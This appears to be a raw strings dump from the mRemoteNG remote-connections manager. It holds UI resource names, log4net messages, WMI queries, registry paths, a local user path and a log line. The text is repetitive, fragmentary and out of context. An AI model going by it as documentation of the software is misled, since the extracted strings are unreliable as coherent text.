ComboBox_Button_Foreground List_Background List_Item_Disabled_Background ComboBox_Button_MouseOver_Border TextBox_Focused_Background Dialog_Background List_Header_Foreground Treeview_SelectedItem_Active_Background CheckBox_Border_Disabled Button_Hover_Foreground ComboBox_PopUp_Border CheckBox_Glyph Button_Hover_Background List_Item_Disabled_Border CheckBox_Text GroupBox_Backgorund ErrorText_Foreground CheckBox_Border Button_Background List_Item_Foreground GroupBox_Disabled_Background WarningText_Foreground TreeView_Foreground ProgressBar_Fill_Critical GroupBox_Foreground TextBox_Disabled_Foreground GroupBox_Disabled_Foreground Tab_Item_Background CommandBarMenuDefault_Background Tab_Item_Foreground TreeView_Background CheckBox_Border_Hover ComboBox_Disabled_Foreground CommandBarMenuDefault_Foreground TextBox_Focused_Foreground ComboBox_MouseOver_Border Tab_Background ProgressBar_Background Button_Disabled_Border GroupBox_Disabled_Line ErrorText_Background Button_Disabled_Background ComboBox_Button_Background Button_Disabled_Foreground Button_Hover_Border TextBox_Disabled_Background Treeview_SelectedItem_Inactive_Foreground Tab_Item_Disabled_Foreground CheckBox_Background ComboBox_Border TextBox_Border_Focused Button_Pressed_Foreground Button_Pressed_Background Tab_Item_Disabled_Background List_Item_Border CheckBox_Border_Pressed ComboBox_Button_Pressed_Foreground List_Header_Background List_Item_Disabled_Foreground TextBox_Border_Disabled Treeview_SelectedItem_Inactive_Background List_Item_Selected_Foreground WarningText_Background List_Item_Background ComboBox_Button_Pressed_Background ProgressBar_Fill_Warning GroupBox_Line Treeview_SelectedItem_Active_Foreground CheckBox_Text_Disabled ComboBox_Button_Border ComboBox_Background TextBox_Background Button_Border List_Item_Selected_Background ComboBox_Foreground vs2015dark Dialog_Foreground List_Item_Selected_Border TextBox_Foreground Button_Foreground ProgressBar_Fill CheckBox_Glyph_Disabled TextBox_Border Button_Pressed_Border ComboBox_Button_MouseOver_Background ComboBox_Disabled_Background ComboBox_Button_MouseOver_Foreground ComboBox_Button_Foreground List_Background List_Item_Disabled_Background ComboBox_Button_MouseOver_Border TextBox_Focused_Background Dialog_Background List_Header_Foreground Treeview_SelectedItem_Active_Background CheckBox_Border_Disabled Button_Hover_Foreground ComboBox_PopUp_Border CheckBox_Glyph Button_Hover_Background List_Item_Disabled_Border CheckBox_Text GroupBox_Backgorund ErrorText_Foreground CheckBox_Border Button_Background List_Item_Foreground GroupBox_Disabled_Background WarningText_Foreground TreeView_Foreground ProgressBar_Fill_Critical GroupBox_Foreground TextBox_Disabled_Foreground GroupBox_Disabled_Foreground Tab_Item_Background CommandBarMenuDefault_Background Tab_Item_Foreground TreeView_Background CheckBox_Border_Hover ComboBox_Disabled_Foreground CommandBarMenuDefault_Foreground TextBox_Focused_Foreground ComboBox_MouseOver_Border Tab_Background ProgressBar_Background Button_Disabled_Border GroupBox_Disabled_Line ErrorText_Background Button_Disabled_Background ComboBox_Button_Background Button_Disabled_Foreground Button_Hover_Border TextBox_Disabled_Background Treeview_SelectedItem_Inactive_Foreground Tab_Item_Disabled_Foreground CheckBox_Background ComboBox_Border TextBox_Border_Focused Button_Pressed_Foreground Button_Pressed_Background Tab_Item_Disabled_Background List_Item_Border CheckBox_Border_Pressed ComboBox_Button_Pressed_Foreground List_Header_Background List_Item_Disabled_Foreground TextBox_Border_Disabled Treeview_SelectedItem_Inactive_Background List_Item_Selected_Foreground WarningText_Background List_Item_Background ComboBox_Button_Pressed_Background ProgressBar_Fill_Warning GroupBox_Line Treeview_SelectedItem_Active_Foreground CheckBox_Text_Disabled ComboBox_Button_Border ComboBox_Background TextBox_Background Button_Border List_Item_Selected_Background ComboBox_Foreground System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap vs2012light_vstheme System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ae089 vs2012dark_vstheme #FF3D5277 vs2012blue_vstheme System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap vs2013light_vstheme WeifenLuo.WinFormsUI.ThemeVS2013.Resources System.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ae089 vs2013dark_vstheme vs2013blue_vstheme System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap ThemeName theme ThemingActive value__ IntApp PopulateQuickConnectProtocolMenu() failed. QuickConnectProtocol WindowsFormsParkingWindow WindowsForms10.COMBOBOX.app.0.129c866_r7_ad1 UIAutomationCore.dll UiaDisconnectProvider Switch.System.Windows.Forms.EnableLegacyIMEFocusInComboBox SSH1 SSH2 Telnet Rlogin HTTP HTTPS TextBox_Background TextBox_Foreground _lblMultiSsh Multi SSH: _txtMultiSsh Press ENTER to send. Ctrl+C is sent immediately. EDIT tsExternalTools cMenToolbar cMenToolbarShowText strMenuShowText Show Text WindowsForms10.EDIT.app.0.129c866_r7_ad1 mRemote_Icon System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Icon System.Drawing.Size System.Drawing.Size width height ValueType Fixup Stack Value / P6pL ,/KPip /-P?pR / P6pL ,/KPip /-P?pR / P6pL ,/KPip /-P?pR IconData IconSize abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ CommandBarMenuDefault_Background Dialog_Background Dialog_Foreground Error applying theme frmMain WndProc failed Security Exception (ControlAppDomain LinkDemand) while trying to register Shutdown handler with the AppDomain. LoggerManager.Shutdown() will not be called automatically when the AppDomain exits. It must be called programmatically. log4net.RepositorySelector Exception while resolving RepositorySelector Type [ Exception while creating RepositorySelector [ RepositorySelector Type [ ] is not an IRepositorySelector log4net assembly [ Loaded from [ (.NET Runtime [ on log4net, Version=2.0.8.0, Culture=neutral, PublicKeyToken=669e0ddf0bb1aa2a (null) NOT AVAILABLE log4net.NullText Initializing NullText value to [ log4net.NotAvailableText Initializing NotAvailableText value to [ Exception while reading ConfigurationSettings. Check your .config file is well formed XML. Global Assembly Cache Dynamic Assembly Location Detect Failed ( Location Permission Denied Microsoft Windows NT Microsoft Windows 98 Microsoft Windows 95 Microsoft Win32S Microsoft Windows CE Mac OS X Microsoft Windows NT 6.2.9200.0 log4net.Internal.Debug log4net.Internal.Quiet log4net.Internal.Emit ] is not in proper bool form. log4net: defaultRepositoryType [ log4net-default-repository Creating repository for assembly [ Assembly [ ] using repository [ ] and repository type [ Failed to configure repository [ ] from assembly attributes. repository [ ] already exists, using repository type [ ] Loaded From [ ] does not have a RepositoryAttribute specified. ] has multiple log4net.Config.RepositoryAttribute assembly attributes. Only using first occurrence. ] has a RepositoryAttribute but it does not!. DefaultRepositorySelector: Repository Type [ ] must implement the ILoggerRepository interface. Unhandled exception in GetInfoForAssembly Aliasing repository [ ] to existing repository [ Failed to alias repository [ ]. Requested repository type [ ] is not compatible with existing type [ Creating repository [ ] using type [ log4net:DEBUG EMERGENCY FATAL ALERT CRITICAL SEVERE ERROR WARN NOTICE INFO DEBUG FINE TRACE FINER VERBOSE FINEST Failed to create plugin. Attribute [ Exception calling [ ] .Configure method. log4net.Config Exception getting ApplicationBaseDirectory. appSettings log4net.Config path [ ] will be treated as an absolute URI log4net.Config.Watch DefaultRepositorySelector: Exception while parsing log4net.Config file physical path [ Loading and watching configuration for default repository from AppSettings specified Config path [ DefaultRepositorySelector: Exception calling XmlConfigurator.ConfigureAndWatch method with ConfigFilePath [ Exception while parsing log4net.Config file path [ Loading configuration for default repository from AppSettings specified Config URI [ Exception calling XmlConfigurator.Configure method with ConfigUri [ configuring repository [ ] using .config file section Application config file is [ Application config file location unknown log4net Failed to find configuration section 'log4net' in the application's .config file. Check your .config file for the and elements. The configuration section should look like:
Unrecognized element Failed to parse config file. Check your .config file is well formed XML.
Failed to parse config file. Is the specified as: log4net logger name Logger level value DEBUG root appender-ref LogFileAppender appender type LogFileAppender log4net.Appender.RollingFileAppender file ${APPDATA}\mRemoteNG\mRemoteNG.log appendToFile true rollingStyle Size maxSizeRollBackups maximumFileSize 10MB staticLogFileName true layout log4net.Layout.PatternLayout conversionPattern %date [%thread] %-6level- %message%newline Config_element_locking_not_supported ConfigureFromXml called with null 'element' parameter ConfigureFromXml called with null 'repository' parameter Configuring Repository [ Repository [ ] does not support the XmlConfigurator Xml element is - not a element. emitDebug emitDebug attribute [ null Ignoring emitDebug attribute. debug debug attribute [ Ignoring debug attribute. configDebug The "configDebug" attribute is deprecated. Use the "debug" attribute instead. update Invalid update attribute value [ Configuration update mode [ Configuration reset before reading config. logger category root renderer appender threshold Hierarchy Threshold [ Unable to set hierarchy threshold using value [ ] (with acceptable conversion types) name Retrieving an instance of log4net.Repository.Logger for logger [ additivity Setting [ ] additivity to [ Unexpected object type [ ] in ht. You have tried to set a null level to root. appender-ref Adding appender named [ ] to logger [ Appender named [ ] not found. level priority value Logger [ ] Level string is [ inherited Root level cannot be inherited. Ignoring directive. ] level set to inherit from parent. Undefined level [ ] on Logger [ ] level set to [name=" ",value= XmlHierarchyConfigurator: No appender named [ ] could be found. type Loading Appender [ ] type: [ Attaching appender named [ ] to appender named [ Requesting attachment of appender named [ ] which does not implement log4net.Core.IAppenderAttachable. Created Appender [ Could not create Appender [ ] of type [ ]. Reported error follows. Loaded type [ ] from assembly [ ] by searching loaded assemblies. .yyyy-MM-dd codepages.nlp NLS_CodePage_{0}_{1}_{2}_{3}_{4} RollingFileAppender param XmlHierarchyConfigurator: Cannot find Property [ ] to set object on [ Security exception while trying to expand environment variables. Error Ignored. No Expansion. Parameter [ ] specified subtype [ subtype [ ] set on [ ] is not a subclass of property type [ ] and there are no acceptable type conversions. Failed to find type [ Performing additional conversion of value from [ ] to [ Setting Property [ ] to value [ Failed to set parameter [ ] on object [ ] using value [ Setting Collection Property [ Unable to set property [ Failed to create object to set param: ] to object [ XmlHierarchyConfigurator: Unknown Level Specified [ Parse String Cannot CreateConverterInstance of type [ ], Exception in call to Activator.CreateInstance ], type does not implement IConvertFrom or IConvertTo OptionConverter: [ ] is not in the correct file size syntax. Object type not specified. Cannot create object of type [ ]. Missing Value or Type. Object type [ ] is not assignable to type [ ]. There are no acceptable type conversions. XmlHierarchyConfigurator: Failed to construct object of type [ ] Exception: literal newline aspnet-cache aspnet-context aspnet-request aspnet-session class date exception file location line message method property properties timestamp stacktrace stacktracedetail thread appdomain identity utcdate utcDate UtcDate username %message%newline length2 length1 offset2 offset1 Converter [ ] Option [ ] Format [min= ,max= ,leftAlign= Unknown converter name [ ] in conversion pattern. Failed to create instance of Type [ ] using default constructor. Exception: UNIX ISO8601 ABSOLUTE DATE Could not instantiate SimpleDateFormatter with [ WARN Either DatePattern or rollingStyle options are not set for [ Output file [ ] already exists. MaxSizeRollBackups is 0; cannot roll. Overwriting existing file. ] already exists. Not appending to file. Rolling existing file out of the way. curSizeRollBackups starts at [ Searched for existing files in [ Ignoring file [ ] because it is from a different date period File name [ ] moves current count to [ Encountered a backup file not ending in .x [ ] vs. [ Initial roll over to [ curSizeRollBackups after rollOver at [ FileAppender: File option not set for appender [ FileAppender: Are you using FileAppender instead of ConsoleAppender? OpenFile( ) call failed. RollingFileAppender: INTERNAL ERROR. Append is False but OutputFile [ ] already exists. INTERNAL ERROR. OpenFile( ): File name is not fully qualified. Opening file for writing [ ] append [ Unable to acquire lock on file LogFilePath LogToApplicationDirectory .log mRemoteNG.log C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log LogFileAppender Could not close writer [ 2026-02-24 09:07:34,169 [1] WARN - XmingPortablePuttySessions.Watcher.StartWatching() failed: 'sessions' does not exist. Segoe UI _pGrid PropertyGridContextMenu _propertyGridContextMenuReset &Reset _toolStripSeparator1 _propertyGridContextMenuShowHelpText &Show Help Text _btnShowInheritance Inheritance _btnShowDefaultInheritance Default Inheritance _btnShowProperties Properties _btnShowDefaultProperties Default Properties _btnIcon _btnHostStatus checking Status CMenIcons ConfigWindow Config PropertyGridToolbarAccessibleName Property Grid PropertyGridToolBar Hot commands PropertyGrid PropertyGridView GridViewDebugPaint PropertyGridView: Debug property painting system.drawing.threaddata dotdotdot.ico Arrow.ico ToolBar .bmp PBRSToolTipProperties Properties PBRSToolTipAlphabetic PBRSToolTipCategorized PBRSToolTipPropertyPages alpha green blue PBAlpha.bmp PBCatego.bmp Alphabetical Categorized PBPPage.bmp Property Pages PBRSDocCommentPaneTitle Description Pane Command Pane Keyword SCROLLBAR Inheritance_Default Properties_Default HostStatus_Check Config_Icon pnlErrorMsg txtMsgText lblMsgDate pbError lvErrorCollector cMenMC cMenMCCopy cMenMCDelete Notifications SysListView32 PictureBox.Loading.bmp strColumnMessage Message Copy Ctrl+C Segoe UI strMenuCopy Copy strMenuDelete Delete... ColorDepth ImageSize ErrorsAndInfos_Resize (UI.Window.ErrorsAndInfos) failed LayoutHorizontal (UI.Window.ErrorsAndInfos) failed Info_Icon LayoutVertical (UI.Window.ErrorsAndInfos) failed brick WarningSmall ErrorSmall flpScreenshots MenuStrip1 &File mMenFileSaveAll Save All mMenFileRemoveAll Remove All cMenScreenshot cMenScreenshotCopy cMenScreenshotSave Save Graphics Interchange Format File (.gif)|*.gif|Joint Photographic Experts Group File (.jpeg)|*.jpeg|Joint Photographic Experts Group File (.jpg)|*.jpg|Portable Network Graphics File (.png)|*.png ScreenshotManager Screenshots File Screenshot_Save Screenshot_Delete Screenshot_Copy Screenshot_Icon btnCheckForUpdate Check Again pnlUpdate lblChangeLogLabel Change Log: btnDownload Download and Install prgbDownload txtChangeLog lblStatus lblLatestVersionLabel Current version: lblInstalledVersionLabel Installed version: lblLatestVersion lblInstalledVersion pbUpdateImage UpdateWindow msctls_progress32 Segoe UI hand.cur Update_Icon MessageBoxFont Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI All Files (*.*)|*.* grpFiles Files lblLocalFile Local file: txtLocalFile btnTransfer Transfer txtRemoteFile lblRemoteFile Remote file: btnBrowse Browse grpConnection Connection radProtSFTP SFTP radProtSCP lblProtocol Protocol: lblPassword Password: lblUser User: lblPort Port: lblHost Host: txtPort txtHost txtPassword txtUser pbStatus $this.Icon SSHTransferWindow SSH File Transfer System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Checked \PuTTYNG.exe 1.0.0.0 C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe mRemoteNG 1.76.20.24615 mRemoteNG.exe Copyright 2019 mRemoteNG Dev Team; 2010-2013 Riley McArdle; 2007-2009 Felix Deimel mRemoteNG.exe mRemoteNG 1.76.20.24615 Multi-protocol remote connections manager Language Neutral Copyright 2019 mRemoteNG Dev Team; 2010-2013 Riley McArdle; 2007-2009 Felix Deimel C:\Program Files (x86)\mRemoteNG C:\Program Files (x86)\mRemoteNG\PuTTYNG.exe \Icons\ UpdateUseProxy UpdateProxyAddress UpdateProxyPort UpdateProxyUseAuthentication UpdateProxyAuthUser UpdateProxyAuthPass C:\Program Files (x86)\mRemoteNG\Icons\ starting. mRemoteNG 1.76.20.24615 starting. Local W. Europe Standard Time HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones {0}\{1} SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones {0}\{1}\Dynamic DST FirstEntry LastEntry MUI_Display MUI_Std MUI_Dlt Display soft .NET CLR 4.0.30319.42000 (UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna W. Europe Standard Time W. Europe Daylight Time TextLogMessageWriterWriteInfoMsgs Exception while logging No appenders could be found for logger [ ] repository [ Please initialize the log4net system properly. Current AppDomain context information: BaseDirectory : FriendlyName : DynamicDirectory: Failed to append to appender [ Attempted to append to closed appender named [ Failed in DoAppend No output stream or file set for the appender named [ Output stream for appender named [ ] has been closed. AppenderSkeleton: No layout set for the appender named [ Error occurred while converting date. Failed to write [ Security exception while trying to get current thread ID. Error Ignored. Empty thread name. Command Line: Path Command Line: C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe SELECT * FROM Win32_OperatingSystem WHERE Primary=True Caption Error retrieving operating system information from WMI. //./root/cimv2 51372AE0-CAE7-11CF-BE81-00AA00A2FA25 000001ce-0000-0000-C000-000000000046 __GENUS __path __PATH __RELPATH ServicePackMajorVersion Service Pack {0} ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= SELECT * FROM Win32_Processor WHERE DeviceID='CPU0' AddressWidth {0}-bit Error retrieving operating system address width from WMI. RemoteActivationService.rem property name prop LeaseLifeTimeServiceProperty soap: http://schemas.microsoft.com/clr/ http://schemas.microsoft.com/clr/assem/ http://schemas.microsoft.com/clr/ns/ http://schemas.microsoft.com/clr/nsassem/ System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Management.WbemDefPath, System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Connect Remote /RemoteActivationService.rem System.Management \wminet_utils.dll ResetSecurity SetSecurity BlessIWbemServices BlessIWbemServicesObject GetPropertyHandle WritePropertyValue Clone VerifyClientKey GetQualifierSet GetNames BeginEnumeration Next EndEnumeration GetPropertyQualifierSet GetObjectText SpawnDerivedClass SpawnInstance CompareTo GetPropertyOrigin InheritsFrom GetMethod PutMethod DeleteMethod BeginMethodEnumeration NextMethod EndMethodEnumeration GetMethodQualifierSet GetMethodOrigin QualifierSet_Get QualifierSet_Put QualifierSet_Delete QualifierSet_GetNames QualifierSet_BeginEnumeration QualifierSet_Next QualifierSet_EndEnumeration GetCurrentApartmentType GetDemultiplexedStub CreateInstanceEnumWmi CreateClassEnumWmi ExecQueryWmi ExecNotificationQueryWmi PutInstanceWmi PutClassWmi CloneEnumWbemClassObject ConnectServerWmi GetErrorInfo Initialize C:\Windows\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll SOFTWARE\Microsoft\.NETFramework\v4.0.30319 WMIDisableCOMSecurity ExecutionContext_ExceptionInAsyncLocalNotification Microsoft Windows 11 Pro 64-bit 2026-02-24 09:07:34 2026-02-24 09:07:24 Microsoft .NET CLR {0} Microsoft .NET CLR 4.0.30319.42000 System Culture: si-LK English (United States) System Culture: en-US/English (United States) OverrideFIPSCheck is set. Will skip check... Checking FIPS Policy... User requests that FIPS check be overridden OverrideFIPSCheck System\CurrentControlSet\Control\Lsa FIPSAlgorithmPolicy System\CurrentControlSet\Control\Lsa\FIPSAlgorithmPolicy Enabled Checking Lenovo AutoScroll Utility... virtscrl Error in CheckLenovoAutoScrollUtility CompatibilityWarnLenovoAutoScrollUtility SeDebugPrivilege System Idle Handle Count Pool Paged Bytes Pool Nonpaged Bytes Elapsed Time Virtual Bytes Peak Virtual Bytes Private Bytes Page File Bytes Page File Bytes Peak Working Set Peak Working Set ID Thread ID Process Priority Base Priority Current % User Time % Privileged Time Start Address Thread State Thread Wait Reason .exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe Parsing cmdline arguments TextLogMessageWriterWriteDebugMsgs NotificationPanelWriterWriteDebugMsgs PopupMessageWriterWriteDebugMsgs ^-{1,2}|^/|=|: ^['"]?(.*?)['"]?$ Creating new Args failed REGEX_DEFAULT_MATCH_TIMEOUT QuantifyAfterNothing NestedQuantify abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ __InternalRegexIgnoreCase__ IsAlphabeticPresentationForms IsArabic IsArabicPresentationForms-A IsArabicPresentationForms-B IsArmenian IsArrows IsBasicLatin IsBengali IsBlockElements IsBopomofo IsBopomofoExtended IsBoxDrawing IsBraillePatterns IsBuhid IsCJKCompatibility IsCJKCompatibilityForms IsCJKCompatibilityIdeographs IsCJKRadicalsSupplement IsCJKSymbolsandPunctuation IsCJKUnifiedIdeographs IsCJKUnifiedIdeographsExtensionA IsCherokee IsCombiningDiacriticalMarks IsCombiningDiacriticalMarksforSymbols IsCombiningHalfMarks IsCombiningMarksforSymbols IsControlPictures IsCurrencySymbols IsCyrillic IsCyrillicSupplement IsDevanagari IsDingbats IsEnclosedAlphanumerics IsEnclosedCJKLettersandMonths IsEthiopic IsGeneralPunctuation IsGeometricShapes IsGeorgian IsGreek IsGreekExtended IsGreekandCoptic IsGujarati IsGurmukhi IsHalfwidthandFullwidthForms IsHangulCompatibilityJamo IsHangulJamo IsHangulSyllables IsHanunoo IsHebrew IsHighPrivateUseSurrogates IsHighSurrogates IsHiragana IsIPAExtensions IsIdeographicDescriptionCharacters IsKanbun IsKangxiRadicals IsKannada IsKatakana IsKatakanaPhoneticExtensions IsKhmer IsKhmerSymbols IsLao IsLatin-1Supplement IsLatinExtended-A IsLatinExtended-B IsLatinExtendedAdditional IsLetterlikeSymbols IsLimbu IsLowSurrogates IsMalayalam IsMathematicalOperators IsMiscellaneousMathematicalSymbols-A IsMiscellaneousMathematicalSymbols-B IsMiscellaneousSymbols IsMiscellaneousSymbolsandArrows IsMiscellaneousTechnical IsMongolian IsMyanmar IsNumberForms IsOgham IsOpticalCharacterRecognition IsOriya IsPhoneticExtensions IsPrivateUse IsPrivateUseArea IsRunic IsSinhala IsSmallFormVariants IsSpacingModifierLetters IsSpecials IsSuperscriptsandSubscripts IsSupplementalArrows-A IsSupplementalArrows-B IsSupplementalMathematicalOperators IsSyriac IsTagalog IsTagbanwa IsTaiLe IsTamil IsTelugu IsThaana IsThai IsTibetan IsUnifiedCanadianAboriginalSyllabics IsVariationSelectors IsYiRadicals IsYiSyllables IsYijingHexagramSymbols _xmlC -/0;A[_`a{ _xmlD _xmlI :;A[_`a{ _xmlW $%+,0: -./0:;=> runtextbeg runtextend runtextstart runtextpos runtext runtrackpos runtrack runstackpos runstack runtrackcount EnsureStorage Capture TransferCapture Uncapture IsMatched MatchLength MatchIndex IsBoundary CharInClass IsECMABoundary Crawlpos CheckTimeout ToLower get_Chars get_CurrentCulture get_InvariantCulture Switch.System.Text.RegularExpressions.UseLegacyTimeoutCheck FindFirstChar InitTrackCount FindFirstChar1 InitTrackCount1 9:en-CH:^['"]?(.*?)['"]?$ "#'( "#'( "#'( "#'( FindFirstChar2 InitTrackCount2 \Program Files (x86)\mRemoteNG\mRemoteNG.exe \program files (x86)\mremoteng\mremoteng.exe \program files (x86)\mremoteng\mremoteng.exe resetpos reset Cmdline arg: Resetting window positions. resetpos reset resetpanels rpnl Cmdline arg: Resetting panels resetpanels rpnl reset resettoolbar rtbr Cmdline arg: Resetting toolbar position resettoolbar rtbr reset noreconnect norc Cmdline arg: Disabling reconnection to previously connected hosts noreconnect norc confCons.xml confConsNew.xml C:\Users\job\AppData\Roaming C:\Users\job\AppData\Roaming C:\Users\job\AppData\Roaming C:\Users\job\AppData\Roaming\mRemoteNG cons Cmdline arg: loading connections from a custom path cons IeBrowserEmulation.Register() failed. devenv.exe XDesProc.exe FEATURE_BROWSER_EMULATION FEATURE_AJAX_CONNECTIONEVENTS FEATURE_ENABLE_CLIPCHILDREN_OPTIMIZATION FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS FEATURE_DOMSTORAGE FEATURE_GPU_RENDERING FEATURE_IVIEWOBJECTDRAW_DMLT9_WITH_GDI FEATURE_DISABLE_LEGACY_COMPRESSION FEATURE_LOCALMACHINE_LOCKDOWN FEATURE_BLOCK_LMZ_OBJECT FEATURE_BLOCK_LMZ_SCRIPT FEATURE_DISABLE_NAVIGATION_SOUNDS FEATURE_SCRIPTURL_MITIGATION FEATURE_SPELLCHECKING FEATURE_STATUS_BAR_THROTTLING FEATURE_TABBED_BROWSING FEATURE_VALIDATE_NAVIGATE_URL FEATURE_WEBOC_DOCUMENT_ZOOM FEATURE_WEBOC_POPUPMANAGEMENT FEATURE_WEBOC_MOVESIZECHILD FEATURE_ADDON_MANAGEMENT FEATURE_WEBSOCKET FEATURE_WINDOW_RESTRICTIONS FEATURE_XMLHTTP \SystemRoot\System32\smss.exe \\?\ smss.exe mRemoteNG.exe mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe mRemoteNG.exe SOFTWARE\Microsoft\Internet Explorer svcVersion SOFTWARE\Microsoft\Internet Explorer SOFTWARE\Microsoft\Internet Explorer HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer 11.1882.26100.0 11.1882.26100.0 1882 26100 Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\ Software\Microsoft\Internet Explorer\Main\FeatureControl\ kernel32.dll IsWow64Process Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_AJAX_CONNECTIONEVENTS Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_AJAX_CONNECTIONEVENTS Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_AJAX_CONNECTIONEVENTS HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_AJAX_CONNECTIONEVENTS Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_AJAX_CONNECTIONEVENTS Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_AJAX_CONNECTIONEVENTS Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_AJAX_CONNECTIONEVENTS HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_AJAX_CONNECTIONEVENTS Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_CLIPCHILDREN_OPTIMIZATION Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_CLIPCHILDREN_OPTIMIZATION Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_CLIPCHILDREN_OPTIMIZATION HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_CLIPCHILDREN_OPTIMIZATION Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_CLIPCHILDREN_OPTIMIZATION Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_CLIPCHILDREN_OPTIMIZATION Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_CLIPCHILDREN_OPTIMIZATION HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_CLIPCHILDREN_OPTIMIZATION Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOMSTORAGE Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOMSTORAGE Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOMSTORAGE HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOMSTORAGE Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOMSTORAGE Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOMSTORAGE Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOMSTORAGE HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOMSTORAGE Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_GPU_RENDERING Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_GPU_RENDERING Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_GPU_RENDERING 